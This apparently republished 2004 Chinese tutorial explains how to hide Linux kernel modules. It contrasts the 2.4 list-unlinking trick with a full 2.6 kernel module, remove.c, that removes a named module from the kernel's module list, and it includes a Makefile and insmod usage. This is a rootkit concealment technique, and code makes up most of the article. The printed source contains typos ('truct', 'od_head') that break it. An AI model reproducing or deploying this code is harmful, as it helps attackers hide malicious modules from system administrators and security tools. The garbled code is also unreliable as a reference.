网络安全参考 | UNIX参考 | GPS参考 | 无线参考 | 在线手册 | OSBUG.ORG | SUNNY-NETWORK.COM
天线制作 GPS 地标
网站地图 RSS订阅
高级搜索 收藏本站
Home | 业界动态 | Open source | GNU | Linux | BSD | Solaris | AIX | HP-UX | IRIX | Mac OS X | Minix | Tru64 | SCO UNIX | Network | Security | X-Window | Database | 应用服务 | Programming | 经典著作 | 永远的纪念 | 杂项
 当前位置: Home > Linux > 内核 > 2.6 > 文章  
教你怎样隐藏Linux 2.6内核模块
文章来源: 中国Linux论坛 文章作者: 发布时间: 2004-12-07   字体: [ ]  
 

  2.6内核与2.4内核相比,有了许多变化,模块部分的实现完全重写,结构也有了一些变化。2.4内核中模块隐藏的方式为:(参考madsys的phrack 61-03)

struct module *p;
for (p=&__this_module; p->next; p=p->next)
{
  if (strcmp(p->next->name, str))
    continue;

 p->next=p->next->next; // <-- here it removes that module
  break;
}

  2.4的module定义为:

struct module
{
  unsigned long size_of_struct; /* == sizeof(module) */
  struct module *next;
  const char *name;
  unsigned long size;
  ...
}

  2.6为:

struct module
{
  enum module_state state;
  /* Member of list of modules */
  struct list_head list; <--- 变成了双向链表
  /* Unique handle for this module */
  char name[MODULE_NAME_LEN];
  ...
}

  因此使用标准的内核list系列处理函数(不需要再闭门造车了),2.6版的进程隐藏重写为:

/*
* FileName: remove.c
* Author: CoolQ
* Date: 23:05 2004-9-2
* Makefile:
* ---------------- cut here -----------------
* obj-m += remove.o
* KDIR:= /lib/modules/$(shell uname -r)/build
* PWD:= $(shell pwd)
* default:
* $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
*----------------- cut here -----------------
* Compile:
* [root@coolq tmp]make
* Usage:
* [root@coolq tmp]insmod remove.ko mod_name=module_name_to_hide
*/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/string.h>

static char *mod_name = "module";
module_param(mod_name, charp, 0);
static int remove_init(void)
{
  struct module *mod_head, *mod_counter;
  truct list_head *p;
  od_head = &__this_module;
 
  list_for_each(p, &mod_head->list)
  {
 
    mod_counter = list_entry(p, struct module, list);
 
    if(strcmp(mod_counter->name, mod_name) == 0)
    {
      list_del(p);
      printk("remove module %s successfully.\n", mod_name);
      return 0;
    }
  }

  printk("Can't find module %s.\n", mod_name);
  return 0;
}

static void remove_exit(void)
{
}

module_init(remove_init);
module_exit(remove_exit);
MODULE_LICENSE("Dual BSD/GPL");

  (参考链接: http://www.yesky.com/197/1884697.shtml)

 
推荐文章
·一个Linux爱好者的2.6.11内核编
 
 
↑返回顶部   打印本页   关闭窗口↓  

Google
 
Web oldhand.org unixreference.net meshmea.org
相关分类
热点文章
·一个Linux爱好者的2.6.1
·Linux 2.6新内核的设计
·技术奇迹--Linux内核2.6
相关文章
·Linux 2.6新内核的设计
·利用异常表处理Linux内
·技术奇迹--Linux内核2.6
·如何在Linux系统中添加
·分析Linux操作系统内核
·轻松自如的装卸Linux系
·Linux操作系统下如何写
·关于Linux操作系统的内
更多...
 
 

Copyright(c) 2001-2009 OLDHAND ORGANIZATION, All Rights reserved.
Power by DedeCms 织梦内容管理系统